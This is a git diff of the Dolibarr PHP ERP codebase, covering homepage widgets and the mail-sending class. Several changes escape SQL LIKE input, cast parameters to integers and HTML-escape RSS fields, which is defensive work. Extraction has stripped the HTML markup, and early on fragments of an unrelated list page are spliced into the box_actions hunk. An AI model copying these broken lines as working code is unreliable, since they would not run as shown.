$sql .= " s.zip LIKE '".$db->escape($zipcode)."%'"; + $sql .= " s.zip LIKE '".$db->escape($db->escapeforlike($zipcode))."%'"; } if ($town) { - $sql .= " s.town LIKE '%".$db->escape($town)."%'"; + $sql .= " s.town LIKE '%".$db->escape($db->escapeforlike($town))."%'"; } $sql .= " ORDER BY s.fk_pays, s.zip, s.town"; $sql .= $db->plimit(100); // Avoid pb with bad criteria diff --git a/htdocs/core/boxes/box_actions.php b/htdocs/core/boxes/box_actions.php index fb0f93086d2..a47f5d4f744 100644 --- a/htdocs/core/boxes/box_actions.php +++ b/htdocs/core/boxes/box_actions.php @@ -220,7 +220,9 @@ class box_actions extends ModeleBoxes if (!empty($conf->global->SHOW_DIALOG_HOMEPAGE)) { $actioncejour = false; $contents = $this->info_box_contents; - $nblines = count($contents); + if (is_countable($contents) && count($contents) > 0) { + $nblines = count($contents); + } if ($contents[0][0]['text'] != $langs->trans("NoActionsToDo")) { $out .= '
      trans("ActionsToDo").'">'; $out .= '
      '; print ''; print ''; - print ''; + print ''; print ''; + print ''; + print ''; print ''; + print ''; + print ''; print ''; + print ''; + print ''; print ''; + print ''; + print ''; print ''; $arrayofoperators = array('<'=>'<', '>'=>'>'); @@ -670,7 +652,7 @@ if (!empty($arrayfields['cd.tms']['checked'])) { } if (!empty($arrayfields['status']['checked'])) { // Status - print ''; + print ''; $arrayofstatus = array( '0'=>$langs->trans("ServiceStatusInitial"), '4'=>$langs->trans("ServiceStatusRunning"), @@ -678,7 +660,7 @@ if (!empty($arrayfields['status']['checked'])) { '4&filter=expired'=>$langs->trans("ServiceStatusLate"), '5'=>$langs->trans("ServiceStatusClosed") ); - print $form->selectarray('search_status', $arrayofstatus, (strstr($search_status, ',') ?-1 : $search_status), 1, 0, 0, '', 0, 0, 0, '', 'minwidth100imp maxwidth150'); + print $form->selectarray('search_status', $arrayofstatus, (strstr($search_status, ',') ?-1 : $search_status), 1, 0, 0, '', 0, 0, 0, '', 'search_status width100 onrightofpage'); print '
      '; @@ -912,6 +957,17 @@ while ($i < min($num, $limit)) { // Show total line include DOL_DOCUMENT_ROOT.'/core/tpl/list_print_total.tpl.php'; +// If no record found +if ($num == 0) { + $colspan = 1; + foreach ($arrayfields as $key => $val) { + if (!empty($val['checked'])) { + $colspan++; + } + } + print '
      '.$langs->trans("NoRecordFound").'
      '; @@ -254,7 +256,7 @@ class box_actions extends ModeleBoxes } $out .= ''; if ($actioncejour) { - $out .= ''; } else { - $out .= ''; } diff --git a/htdocs/core/boxes/box_activity.php b/htdocs/core/boxes/box_activity.php index 56fa8172bcb..ea45580e163 100644 --- a/htdocs/core/boxes/box_activity.php +++ b/htdocs/core/boxes/box_activity.php @@ -84,7 +84,7 @@ class box_activity extends ModeleBoxes $totalnb = 0; $line = 0; $cachetime = 3600; - $fileid = '-e'.$conf->entity.'-u'.$user->id.'-s'.$user->socid.'-r'.($user->rights->societe->client->voir ? '1' : '0').'.cache'; + $fileid = '-e'.$conf->entity.'-u'.$user->id.'-s'.$user->socid.'-r'.($user->hasRight("societe", "client", "voir") ? '1' : '0').'.cache'; $now = dol_now(); $nbofperiod = 3; @@ -102,7 +102,7 @@ class box_activity extends ModeleBoxes // list the summary of the propals - if (isModEnabled("propal") && $user->rights->propal->lire) { + if (isModEnabled("propal") && $user->hasRight("propal", "lire")) { include_once DOL_DOCUMENT_ROOT.'/comm/propal/class/propal.class.php'; $propalstatic = new Propal($this->db); @@ -155,7 +155,7 @@ class box_activity extends ModeleBoxes while ($j < count($data)) { $this->info_box_contents[$line][0] = array( 'td' => 'class="left" width="16"', - 'url' => DOL_URL_ROOT."/comm/propal/list.php?mainmenu=commercial&leftmenu=propals&search_status=".$data[$j]->fk_statut, + 'url' => DOL_URL_ROOT."/comm/propal/list.php?mainmenu=commercial&leftmenu=propals&search_status=".((int) $data[$j]->fk_statut), 'tooltip' => $langs->trans("Proposals")." ".$propalstatic->LibStatut($data[$j]->fk_statut, 0), 'logo' => 'object_propal' ); @@ -169,7 +169,7 @@ class box_activity extends ModeleBoxes 'td' => 'class="right"', 'text' => $data[$j]->nb, 'tooltip' => $langs->trans("Proposals")." ".$propalstatic->LibStatut($data[$j]->fk_statut, 0), - 'url' => DOL_URL_ROOT."/comm/propal/list.php?mainmenu=commercial&leftmenu=propals&search_status=".$data[$j]->fk_statut, + 'url' => DOL_URL_ROOT."/comm/propal/list.php?mainmenu=commercial&leftmenu=propals&search_status=".((int) $data[$j]->fk_statut), ); $totalnb += $data[$j]->nb; @@ -185,11 +185,18 @@ class box_activity extends ModeleBoxes $line++; $j++; } + if (count($data) == 0) { + $this->info_box_contents[$line][0] = array( + 'td' => 'class="center"', + 'text'=>$langs->trans("NoRecordedProposals"), + ); + $line++; + } } } // list the summary of the orders - if (isModEnabled('commande') && $user->rights->commande->lire) { + if (isModEnabled('commande') && $user->hasRight("commande", "lire")) { include_once DOL_DOCUMENT_ROOT.'/commande/class/commande.class.php'; $commandestatic = new Commande($this->db); @@ -273,12 +280,19 @@ class box_activity extends ModeleBoxes $line++; $j++; } + if (count($data) == 0) { + $this->info_box_contents[$line][0] = array( + 'td' => 'class="center"', + 'text'=>$langs->trans("NoRecordedOrders"), + ); + $line++; + } } } // list the summary of the bills - if (isModEnabled('facture') && $user->rights->facture->lire) { + if (isModEnabled('facture') && $user->hasRight("facture", "lire")) { include_once DOL_DOCUMENT_ROOT.'/compta/facture/class/facture.class.php'; $facturestatic = new Facture($this->db); @@ -329,11 +343,11 @@ class box_activity extends ModeleBoxes if (!empty($data)) { $j = 0; while ($j < count($data)) { - $billurl = "search_status=2&paye=1"; + $billurl = "search_status=2&paye=1"; $this->info_box_contents[$line][0] = array( 'td' => 'class="left" width="16"', 'tooltip' => $langs->trans('Bills').' '.$facturestatic->LibStatut(1, $data[$j]->fk_statut, 0), - 'url' => DOL_URL_ROOT."/compta/facture/list.php?".$billurl."&mainmenu=accountancy&leftmenu=customers_bills", + 'url' => DOL_URL_ROOT."/compta/facture/list.php?".$billurl."&mainmenu=accountancy&leftmenu=customers_bills", 'logo' => 'bill', ); @@ -346,7 +360,7 @@ class box_activity extends ModeleBoxes 'td' => 'class="right"', 'tooltip' => $langs->trans('Bills').' '.$facturestatic->LibStatut(1, $data[$j]->fk_statut, 0), 'text' => $data[$j]->nb, - 'url' => DOL_URL_ROOT."/compta/facture/list.php?".$billurl."&mainmenu=accountancy&leftmenu=customers_bills", + 'url' => DOL_URL_ROOT."/compta/facture/list.php?".$billurl."&mainmenu=accountancy&leftmenu=customers_bills", ); $this->info_box_contents[$line][3] = array( @@ -369,6 +383,7 @@ class box_activity extends ModeleBoxes 'td' => 'class="center"', 'text'=>$langs->trans("NoRecordedInvoices"), ); + $line++; } } @@ -412,11 +427,11 @@ class box_activity extends ModeleBoxes $j = 0; while ($j < count($data)) { - $billurl = "search_status=".$data[$j]->fk_statut."&paye=0"; + $billurl = "search_status=".$data[$j]->fk_statut."&paye=0"; $this->info_box_contents[$line][0] = array( 'td' => 'class="left" width="16"', 'tooltip' => $langs->trans('Bills').' '.$facturestatic->LibStatut(0, $data[$j]->fk_statut, 0), - 'url' => DOL_URL_ROOT."/compta/facture/list.php?".$billurl."&mainmenu=accountancy&leftmenu=customers_bills", + 'url' => DOL_URL_ROOT."/compta/facture/list.php?".$billurl."&mainmenu=accountancy&leftmenu=customers_bills", 'logo' => 'bill', ); @@ -446,8 +461,9 @@ class box_activity extends ModeleBoxes if (count($data) == 0) { $this->info_box_contents[$line][0] = array( 'td' => 'class="center"', - 'text'=>$langs->trans("NoRecordedInvoices"), + 'text'=>$langs->trans("NoRecordedUnpaidInvoices"), ); + $line++; } } } diff --git a/htdocs/core/boxes/box_birthdays.php b/htdocs/core/boxes/box_birthdays.php index 945552753ea..1f5c7e4add7 100644 --- a/htdocs/core/boxes/box_birthdays.php +++ b/htdocs/core/boxes/box_birthdays.php @@ -85,19 +85,19 @@ class box_birthdays extends ModeleBoxes if ($user->rights->user->user->lire) { $tmparray = dol_getdate(dol_now(), true); - $sql = "SELECT u.rowid, u.firstname, u.lastname, u.birth as datea, 'birth' as typea, u.email, u.statut as status"; + $sql = "SELECT u.rowid, u.firstname, u.lastname, u.birth as datea, date_format(u.birth, '%d') as daya, 'birth' as typea, u.email, u.statut as status"; $sql .= " FROM ".MAIN_DB_PREFIX."user as u"; $sql .= " WHERE u.entity IN (".getEntity('user').")"; - $sql .= " AND u.statut = 1"; + $sql .= " AND u.statut = ".User::STATUS_ENABLED; $sql .= dolSqlDateFilter('u.birth', 0, $tmparray['mon'], 0); $sql .= ' UNION '; - $sql .= "SELECT u.rowid, u.firstname, u.lastname, u.dateemployment as datea, 'employment' as typea, u.email, u.statut as status"; + $sql .= "SELECT u.rowid, u.firstname, u.lastname, u.dateemployment as datea, date_format(u.dateemployment, '%d') as daya, 'employment' as typea, u.email, u.statut as status"; $sql .= " FROM ".MAIN_DB_PREFIX."user as u"; $sql .= " WHERE u.entity IN (".getEntity('user').")"; - $sql .= " AND u.statut = 1"; + $sql .= " AND u.statut = ".User::STATUS_ENABLED; $sql .= dolSqlDateFilter('u.dateemployment', 0, $tmparray['mon'], 0); - - $sql .= " ORDER BY DAY(datea) ASC"; + $sql .= " ORDER BY daya ASC"; // We want to have date of the month sorted by the day without taking into consideration the year + $sql .= $this->db->plimit($max, 0); dol_syslog(get_class($this)."::loadBox", LOG_DEBUG); $result = $this->db->query($sql); diff --git a/htdocs/core/boxes/box_birthdays_members.php b/htdocs/core/boxes/box_birthdays_members.php index df8e51f348f..2a66a533e03 100644 --- a/htdocs/core/boxes/box_birthdays_members.php +++ b/htdocs/core/boxes/box_birthdays_members.php @@ -2,7 +2,7 @@ /* Copyright (C) 2003-2007 Rodolphe Quiedeville * Copyright (C) 2004-2010 Laurent Destailleur * Copyright (C) 2005-2009 Regis Houssin - * Copyright (C) 2015-2019 Frederic France + * Copyright (C) 2015-2023 Frederic France * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -60,7 +60,7 @@ class box_birthdays_members extends ModeleBoxes $this->db = $db; - $this->hidden = !($user->rights->adherent->lire && empty($user->socid)); + $this->hidden = !($user->hasRight("adherent", "lire") && empty($user->socid)); } /** @@ -85,12 +85,12 @@ class box_birthdays_members extends ModeleBoxes if ($user->rights->adherent->lire) { $tmparray = dol_getdate(dol_now(), true); - $sql = "SELECT u.rowid, u.firstname, u.lastname, u.birth"; + $sql = "SELECT u.rowid, u.firstname, u.lastname, u.birth, date_format(u.birth, '%d') as daya, u.email, u.statut as status, u.datefin"; $sql .= " FROM ".MAIN_DB_PREFIX."adherent as u"; $sql .= " WHERE u.entity IN (".getEntity('adherent').")"; $sql .= " AND u.statut = ".Adherent::STATUS_VALIDATED; $sql .= dolSqlDateFilter('u.birth', 0, $tmparray['mon'], 0); - $sql .= " ORDER BY DAY(u.birth) ASC"; + $sql .= " ORDER BY daya ASC"; // We want to have date of the month sorted by the day without taking into consideration the year $sql .= $this->db->plimit($max, 0); dol_syslog(get_class($this)."::loadBox", LOG_DEBUG); @@ -104,9 +104,16 @@ class box_birthdays_members extends ModeleBoxes $memberstatic->id = $objp->rowid; $memberstatic->firstname = $objp->firstname; $memberstatic->lastname = $objp->lastname; + $memberstatic->email = $objp->email; + $memberstatic->status = $objp->status; + $memberstatic->statut = $memberstatic->status; + $memberstatic->datefin = $this->db->jdate($objp->datefin); + //$memberstatic->need_subscription = 1; $dateb = $this->db->jdate($objp->birth); $age = date('Y', dol_now()) - date('Y', $dateb); + $typea = ''; + $this->info_box_contents[$line][] = array( 'td' => '', 'text' => $memberstatic->getNomUrl(1), @@ -115,7 +122,13 @@ class box_birthdays_members extends ModeleBoxes $this->info_box_contents[$line][] = array( 'td' => 'class="center nowraponall"', - 'text' => dol_print_date($dateb, "day", 'gmt').' - '.$age.' '.$langs->trans('DurationYears') + 'text' => dol_print_date($dateb, "day", 'tzserver').' - '.$age.' '.$langs->trans('DurationYears') + ); + + $this->info_box_contents[$line][] = array( + 'td' => 'class="center nowraponall"', + 'text' => $typea, + 'asis' => 1 ); /*$this->info_box_contents[$line][] = array( diff --git a/htdocs/core/boxes/box_bookmarks.php b/htdocs/core/boxes/box_bookmarks.php index 3e8abd587c0..17348048edf 100644 --- a/htdocs/core/boxes/box_bookmarks.php +++ b/htdocs/core/boxes/box_bookmarks.php @@ -76,7 +76,7 @@ class box_bookmarks extends ModeleBoxes 'text' => $langs->trans("BoxMyLastBookmarks", $max), 'sublink' => DOL_URL_ROOT.'/bookmarks/list.php', ); - if ($user->rights->bookmark->creer) { + if ($user->hasRight("bookmark", "creer")) { $this->info_box_head['subpicto'] = 'bookmark'; $this->info_box_head['subtext'] = $langs->trans("BookmarksManagement"); } else { @@ -121,7 +121,7 @@ class box_bookmarks extends ModeleBoxes if ($num == 0) { $mytxt = $langs->trans("NoRecordedBookmarks"); - if ($user->rights->bookmark->creer) { + if ($user->hasRight("bookmark", "creer")) { $mytxt .= ' '.$langs->trans("ClickToAdd"); } $this->info_box_contents[$line][0] = array( diff --git a/htdocs/core/boxes/box_commandes.php b/htdocs/core/boxes/box_commandes.php index f4aec2075d7..f0534728aad 100644 --- a/htdocs/core/boxes/box_commandes.php +++ b/htdocs/core/boxes/box_commandes.php @@ -85,7 +85,7 @@ class box_commandes extends ModeleBoxes $this->info_box_head = array('text' => $langs->trans("BoxTitleLast".(!empty($conf->global->MAIN_LASTBOX_ON_OBJECT_DATE) ? "" : "Modified")."CustomerOrders", $max)); - if ($user->rights->commande->lire) { + if ($user->hasRight('commande', 'lire')) { $sql = "SELECT s.rowid as socid, s.nom as name, s.name_alias"; $sql .= ", s.code_client, s.code_compta, s.client"; $sql .= ", s.logo, s.email, s.entity"; @@ -99,8 +99,7 @@ class box_commandes extends ModeleBoxes $sql .= ", c.total_ht"; $sql .= ", c.total_tva"; $sql .= ", c.total_ttc"; - $sql .= " FROM ".MAIN_DB_PREFIX."societe as s"; - $sql .= ", ".MAIN_DB_PREFIX."commande as c"; + $sql .= " FROM ".MAIN_DB_PREFIX."commande as c, ".MAIN_DB_PREFIX."societe as s"; if (empty($user->rights->societe->client->voir) && !$user->socid) { $sql .= ", ".MAIN_DB_PREFIX."societe_commerciaux as sc"; } diff --git a/htdocs/core/boxes/box_dolibarr_state_board.php b/htdocs/core/boxes/box_dolibarr_state_board.php index 0f63582370c..17544d90299 100644 --- a/htdocs/core/boxes/box_dolibarr_state_board.php +++ b/htdocs/core/boxes/box_dolibarr_state_board.php @@ -20,12 +20,11 @@ /** * \file htdocs/core/boxes/box_dolibarr_state_board.php - * \ingroup + * \ingroup core * \brief Module Dolibarr state base */ include_once DOL_DOCUMENT_ROOT . '/core/boxes/modules_boxes.php'; -include_once DOL_DOCUMENT_ROOT . '/core/class/hookmanager.class.php'; /** @@ -113,12 +112,12 @@ class box_dolibarr_state_board extends ModeleBoxes ); $conditions = array( 'users' => $user->hasRight('user', 'user', 'lire'), - 'members' => isModEnabled('adherent') && $user->rights->adherent->lire, + 'members' => isModEnabled('adherent') && $user->hasRight('adherent', 'lire'), 'customers' => isModEnabled('societe') && $user->hasRight('societe', 'lire') && empty($conf->global->SOCIETE_DISABLE_CUSTOMERS) && empty($conf->global->SOCIETE_DISABLE_CUSTOMERS_STATS), 'prospects' => isModEnabled('societe') && $user->hasRight('societe', 'lire') && empty($conf->global->SOCIETE_DISABLE_PROSPECTS) && empty($conf->global->SOCIETE_DISABLE_PROSPECTS_STATS), - 'suppliers' => ((isModEnabled("fournisseur") && empty($conf->global->MAIN_USE_NEW_SUPPLIERMOD) && $user->rights->fournisseur->lire) - || (isModEnabled("supplier_order") && $user->rights->supplier_order->lire) - || (isModEnabled("supplier_invoice") && $user->rights->supplier_invoice->lire) + 'suppliers' => ((isModEnabled("fournisseur") && empty($conf->global->MAIN_USE_NEW_SUPPLIERMOD) && $user->hasRight('fournisseur', 'lire')) + || (isModEnabled("supplier_order") && $user->hasRight('supplier_order', 'lire')) + || (isModEnabled("supplier_invoice") && $user->hasRight('supplier_invoice', 'lire')) ) && empty($conf->global->SOCIETE_DISABLE_SUPPLIERS_STATS), 'contacts' => isModEnabled('societe') && $user->hasRight('societe', 'contact', 'lire'), @@ -130,9 +129,9 @@ class box_dolibarr_state_board extends ModeleBoxes 'donations' => isModEnabled('don') && $user->hasRight('don', 'lire'), 'contracts' => isModEnabled('contrat') && $user->hasRight('contrat', 'lire'), 'interventions' => isModEnabled('ficheinter') && $user->hasRight('ficheinter', 'lire'), - 'supplier_orders' => isModEnabled('supplier_order') && $user->rights->fournisseur->commande->lire && empty($conf->global->SOCIETE_DISABLE_SUPPLIERS_ORDERS_STATS), - 'supplier_invoices' => isModEnabled('supplier_invoice') && $user->rights->fournisseur->facture->lire && empty($conf->global->SOCIETE_DISABLE_SUPPLIERS_INVOICES_STATS), - 'supplier_proposals' => isModEnabled('supplier_proposal') && $user->rights->supplier_proposal->lire && empty($conf->global->SOCIETE_DISABLE_SUPPLIERS_PROPOSAL_STATS), + 'supplier_orders' => isModEnabled('supplier_order') && $user->hasRight('fournisseur', 'commande', 'lire') && empty($conf->global->SOCIETE_DISABLE_SUPPLIERS_ORDERS_STATS), + 'supplier_invoices' => isModEnabled('supplier_invoice') && $user->hasRight('fournisseur', 'facture', 'lire') && empty($conf->global->SOCIETE_DISABLE_SUPPLIERS_INVOICES_STATS), + 'supplier_proposals' => isModEnabled('supplier_proposal') && $user->hasRight('supplier_proposal', 'lire') && empty($conf->global->SOCIETE_DISABLE_SUPPLIERS_PROPOSAL_STATS), 'projects' => isModEnabled('project') && $user->hasRight('projet', 'lire'), 'expensereports' => isModEnabled('expensereport') && $user->hasRight('expensereport', 'lire'), 'holidays' => isModEnabled('holiday') && $user->hasRight('holiday', 'read'), diff --git a/htdocs/core/boxes/box_external_rss.php b/htdocs/core/boxes/box_external_rss.php index 54f68c5e57f..8bc4943e50b 100644 --- a/htdocs/core/boxes/box_external_rss.php +++ b/htdocs/core/boxes/box_external_rss.php @@ -134,6 +134,9 @@ class box_external_rss extends ModeleBoxes if (!$date && isset($item['pubdate'])) { $date = $item['pubdate']; } + if (!$date && isset($item['pubDate'])) { + $date = $item['pubDate']; + } if (!$date && isset($item['dc']['date'])) { $date = $item['dc']['date']; } @@ -183,22 +186,22 @@ class box_external_rss extends ModeleBoxes 'td' => 'class="left" width="16"', 'text' => img_picto('', 'rss'), 'url' => $href, - 'tooltip' => $tooltip, + 'tooltip' => dol_escape_htmltag($tooltip), 'target' => 'newrss', ); $this->info_box_contents[$line][1] = array( 'td' => 'class="tdoverflowmax300"', - 'text' => $title, + 'text' => dol_escape_htmltag($title), 'url' => $href, - 'tooltip' => $tooltip, + 'tooltip' => dol_escape_htmltag($tooltip), 'maxlength' => 0, 'target' => 'newrss', ); $this->info_box_contents[$line][2] = array( 'td' => 'class="right nowrap"', - 'text' => $date, + 'text' => dol_escape_htmltag($date), ); } } diff --git a/htdocs/core/boxes/box_factures.php b/htdocs/core/boxes/box_factures.php index e34e89c97eb..6a59c6f0d56 100644 --- a/htdocs/core/boxes/box_factures.php +++ b/htdocs/core/boxes/box_factures.php @@ -99,11 +99,10 @@ class box_factures extends ModeleBoxes $sql .= ", s.code_client, s.code_compta, s.client"; $sql .= ", s.logo, s.email, s.entity"; $sql .= ", s.tva_intra, s.siren as idprof1, s.siret as idprof2, s.ape as idprof3, s.idprof4, s.idprof5, s.idprof6"; - $sql .= " FROM (".MAIN_DB_PREFIX."societe as s,".MAIN_DB_PREFIX."facture as f"; + $sql .= " FROM ".MAIN_DB_PREFIX."facture as f, ".MAIN_DB_PREFIX."societe as s"; if (empty($user->rights->societe->client->voir) && !$user->socid) { $sql .= ", ".MAIN_DB_PREFIX."societe_commerciaux as sc"; } - $sql .= ")"; $sql .= " WHERE f.fk_soc = s.rowid"; $sql .= " AND f.entity IN (".getEntity('invoice').")"; if (empty($user->rights->societe->client->voir) && !$user->socid) { diff --git a/htdocs/core/boxes/box_graph_invoices_permonth.php b/htdocs/core/boxes/box_graph_invoices_permonth.php index 03b0e1d087b..34dc015a1db 100644 --- a/htdocs/core/boxes/box_graph_invoices_permonth.php +++ b/htdocs/core/boxes/box_graph_invoices_permonth.php @@ -227,7 +227,7 @@ class box_graph_invoices_permonth extends ModeleBoxes if (!$mesg) { $stringtoshow = ''; - $stringtoshow .= ''; // set cookie by js - $boxcontent .= ''; + $boxcontent .= ''; } $this->info_box_contents[0][] = array( 'tr' => 'class="nohover showiffilter'.$this->boxcode.' hideobject"', diff --git a/htdocs/core/boxes/box_validated_projects.php b/htdocs/core/boxes/box_validated_projects.php index bab64d5a000..f071871d0d4 100644 --- a/htdocs/core/boxes/box_validated_projects.php +++ b/htdocs/core/boxes/box_validated_projects.php @@ -4,6 +4,7 @@ * Copyright (C) 2015 Frederic France * Copyright (C) 2016 Juan José Menent * Copyright (C) 2020 Pierre Ardoin + * Copyright (C) 2023 Gauthier VERDOL * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -119,7 +120,7 @@ class box_validated_projects extends ModeleBoxes if ($projectsListId) { $sql .= ' AND p.rowid IN ('.$this->db->sanitize($projectsListId).')'; // Only projects that are allowed } - $sql .= " AND t.rowid NOT IN (SELECT fk_task FROM ".MAIN_DB_PREFIX."projet_task_time WHERE fk_user = ".((int) $user->id).")"; + $sql .= " AND t.rowid NOT IN (SELECT fk_element FROM ".MAIN_DB_PREFIX."element_time WHERE elementtype = 'task' AND fk_user = ".((int) $user->id).")"; $sql .= " GROUP BY p.rowid, p.ref, p.fk_soc, p.dateo"; $sql .= " ORDER BY p.dateo ASC"; diff --git a/htdocs/core/boxes/modules_boxes.php b/htdocs/core/boxes/modules_boxes.php index 1a29c8e1389..1c18264618d 100644 --- a/htdocs/core/boxes/modules_boxes.php +++ b/htdocs/core/boxes/modules_boxes.php @@ -432,7 +432,7 @@ class ModeleBoxes // Can't be abtract as it is instantiated to build "empty" box while (($file = readdir($handle)) !== false) { $reg = array(); if (is_readable($newdir.'/'.$file) && preg_match('/^(.+)\.php/', $file, $reg)) { - if (preg_match('/\.back$/', $file)) { + if (preg_match('/\.back$/', $file) || preg_match('/^(.+)\.disabled\.php/', $file)) { continue; } @@ -464,6 +464,7 @@ class ModeleBoxes // Can't be abtract as it is instantiated to build "empty" box closedir($handle); } } + //echo "
      ";print_r($modules);echo "
      "; asort($orders); diff --git a/htdocs/core/class/CMailFile.class.php b/htdocs/core/class/CMailFile.class.php index 2651df8b2e5..eef112a00e2 100644 --- a/htdocs/core/class/CMailFile.class.php +++ b/htdocs/core/class/CMailFile.class.php @@ -32,6 +32,7 @@ use OAuth\Common\Storage\DoliStorage; use OAuth\Common\Consumer\Credentials; + /** * Class to send emails (with attachments or not) * Usage: $mailfile = new CMailFile($subject,$sendto,$replyto,$message,$filepath,$mimetype,$filename,$cc,$ccc,$deliveryreceipt,$msgishtml,$errors_to,$css,$trackid,$moreinheader,$sendcontext,$replyto); @@ -65,6 +66,7 @@ class CMailFile public $atleastonefile; + public $msg; public $eol; public $eol2; @@ -127,6 +129,7 @@ class CMailFile // Image public $html; + public $msgishtml; public $image_boundary; public $atleastoneimage = 0; // at least one image file with file=xxx.ext into content (TODO Debug this. How can this case be tested. Remove if not used). public $html_images = array(); @@ -169,6 +172,10 @@ class CMailFile { global $conf, $dolibarr_main_data_root, $user; + dol_syslog("CMailFile::CMailfile: charset=".$conf->file->character_set_client." from=$from, to=$to, addr_cc=$addr_cc, addr_bcc=$addr_bcc, errors_to=$errors_to, replyto=$replyto trackid=$trackid sendcontext=$sendcontext", LOG_DEBUG); + dol_syslog("CMailFile::CMailfile: subject=".$subject.", deliveryreceipt=".$deliveryreceipt.", msgishtml=".$msgishtml, LOG_DEBUG); + + // Clean values of $mimefilename_list if (is_array($mimefilename_list)) { foreach ($mimefilename_list as $key => $val) { @@ -212,9 +219,6 @@ class CMailFile // On defini alternative_boundary $this->alternative_boundary = 'mul_'.dol_hash(uniqid("dolibarr3"), 3); // Force md5 hash (does not contains special chars) - dol_syslog("CMailFile::CMailfile: sendmode=".$this->sendmode." charset=".$conf->file->character_set_client." from=$from, to=$to, addr_cc=$addr_cc, addr_bcc=$addr_bcc, errors_to=$errors_to, replyto=$replyto trackid=$trackid sendcontext=$sendcontext upload_dir_tmp=$upload_dir_tmp", LOG_DEBUG); - dol_syslog("CMailFile::CMailfile: subject=".$subject.", deliveryreceipt=".$deliveryreceipt.", msgishtml=".$msgishtml, LOG_DEBUG); - if (empty($subject)) { dol_syslog("CMailFile::CMailfile: Try to send an email with empty subject"); $this->error = 'ErrorSubjectIsRequired'; @@ -254,12 +258,14 @@ class CMailFile $this->html = $msg; $findimg = 0; - if (!empty($conf->global->MAIN_MAIL_ADD_INLINE_IMAGES_IF_IN_MEDIAS)) { + if (!empty($conf->global->MAIN_MAIL_ADD_INLINE_IMAGES_IF_IN_MEDIAS)) { // Off by default // Search into the body for msgid if ($this->sendmode == 'mail') { @@ -625,7 +641,7 @@ class CMailFile */ public function sendfile() { - global $conf, $db, $langs; + global $conf, $db, $langs, $hookmanager; $errorlevel = error_reporting(); //error_reporting($errorlevel ^ E_WARNING); // Desactive warnings @@ -633,8 +649,10 @@ class CMailFile $res = false; if (empty($conf->global->MAIN_DISABLE_ALL_MAILS)) { - require_once DOL_DOCUMENT_ROOT.'/core/class/hookmanager.class.php'; - $hookmanager = new HookManager($db); + if (!is_object($hookmanager)) { + include_once DOL_DOCUMENT_ROOT.'/core/class/hookmanager.class.php'; + $hookmanager = new HookManager($db); + } $hookmanager->initHooks(array('mail')); $parameters = array(); @@ -670,6 +688,8 @@ class CMailFile $this->error .= '
      '.$langs->trans("MailSendSetupIs3", $conf->global->MAILING_SMTP_SETUP_EMAILS_FOR_QUESTIONS); $this->errors[] = $langs->trans("MailSendSetupIs3", $conf->global->MAILING_SMTP_SETUP_EMAILS_FOR_QUESTIONS); } + + dol_syslog("CMailFile::sendfile: mail end error=".$this->error, LOG_WARNING); return false; } @@ -740,7 +760,7 @@ class CMailFile // Use mail php function (default PHP method) // ------------------------------------------ dol_syslog("CMailFile::sendfile addr_to=".$this->addr_to.", subject=".$this->subject, LOG_DEBUG); - dol_syslog("CMailFile::sendfile header=\n".$this->headers, LOG_DEBUG); + //dol_syslog("CMailFile::sendfile header=\n".$this->headers, LOG_DEBUG); //dol_syslog("CMailFile::sendfile message=\n".$message); // If Windows, sendmail_from must be defined @@ -827,6 +847,10 @@ class CMailFile $this->error .= ".
      "; $this->error .= $langs->trans("ErrorPhpMailDelivery"); dol_syslog("CMailFile::sendfile: mail end error=".$this->error, LOG_ERR); + + if (!empty($conf->global->MAIN_MAIL_DEBUG)) { + $this->save_dump_mail_in_err('Mail with topic '.$this->subject); + } } else { dol_syslog("CMailFile::sendfile: mail end success", LOG_DEBUG); } @@ -891,6 +915,7 @@ class CMailFile if (getDolGlobalString($keyforsmtpauthtype) === "XOAUTH2") { require_once DOL_DOCUMENT_ROOT.'/core/lib/oauth.lib.php'; // define $supportedoauth2array + $keyforsupportedoauth2array = $conf->global->$keyforsmtpoauthservice; if (preg_match('/^.*-/', $keyforsupportedoauth2array)) { $keyforprovider = preg_replace('/^.*-/', '', $keyforsupportedoauth2array); @@ -908,7 +933,7 @@ class CMailFile require_once DOL_DOCUMENT_ROOT.'/includes/OAuth/bootstrap.php'; - $storage = new DoliStorage($db, $conf); + $storage = new DoliStorage($db, $conf, $keyforprovider); try { $tokenobj = $storage->retrieveAccessToken($OAUTH_SERVICENAME); $expire = false; @@ -962,6 +987,8 @@ class CMailFile } if ($res) { + dol_syslog("CMailFile::sendfile: sendMsg, HOST=".$server.", PORT=".$conf->global->$keyforsmtpport, LOG_DEBUG); + if (!empty($conf->global->MAIN_MAIL_DEBUG)) { $this->smtps->setDebug(true); } @@ -972,7 +999,26 @@ class CMailFile $this->dump_mail(); } - $result = $this->smtps->getErrors(); + if (! $result) { + $smtperrorcode = $this->smtps->lastretval; // SMTP error code + dol_syslog("CMailFile::sendfile: mail SMTP error code ".$smtperrorcode, LOG_WARNING); + + if ($smtperrorcode == '421') { // Try later + // TODO Add a delay and try again + /* + dol_syslog("CMailFile::sendfile: Try later error, so we wait and we retry"); + sleep(2); + + $result = $this->smtps->sendMsg(); + + if (!empty($conf->global->MAIN_MAIL_DEBUG)) { + $this->dump_mail(); + } + */ + } + } + + $result = $this->smtps->getErrors(); // applicative error code (not SMTP error code) if (empty($this->error) && empty($result)) { dol_syslog("CMailFile::sendfile: mail end success", LOG_DEBUG); $res = true; @@ -982,6 +1028,10 @@ class CMailFile } dol_syslog("CMailFile::sendfile: mail end error with smtps lib to HOST=".$server.", PORT=".$conf->global->$keyforsmtpport." - ".$this->error, LOG_ERR); $res = false; + + if (!empty($conf->global->MAIN_MAIL_DEBUG)) { + $this->save_dump_mail_in_err('Mail smtp error '.$smtperrorcode.' with topic '.$this->subject); + } } } } elseif ($this->sendmode == 'swiftmailer') { @@ -1017,6 +1067,7 @@ class CMailFile } if (getDolGlobalString($keyforsmtpauthtype) === "XOAUTH2") { require_once DOL_DOCUMENT_ROOT.'/core/lib/oauth.lib.php'; // define $supportedoauth2array + $keyforsupportedoauth2array = getDolGlobalString($keyforsmtpoauthservice); if (preg_match('/^.*-/', $keyforsupportedoauth2array)) { $keyforprovider = preg_replace('/^.*-/', '', $keyforsupportedoauth2array); @@ -1030,7 +1081,7 @@ class CMailFile require_once DOL_DOCUMENT_ROOT.'/includes/OAuth/bootstrap.php'; - $storage = new DoliStorage($db, $conf); + $storage = new DoliStorage($db, $conf, $keyforprovider); try { $tokenobj = $storage->retrieveAccessToken($OAUTH_SERVICENAME); @@ -1096,7 +1147,11 @@ class 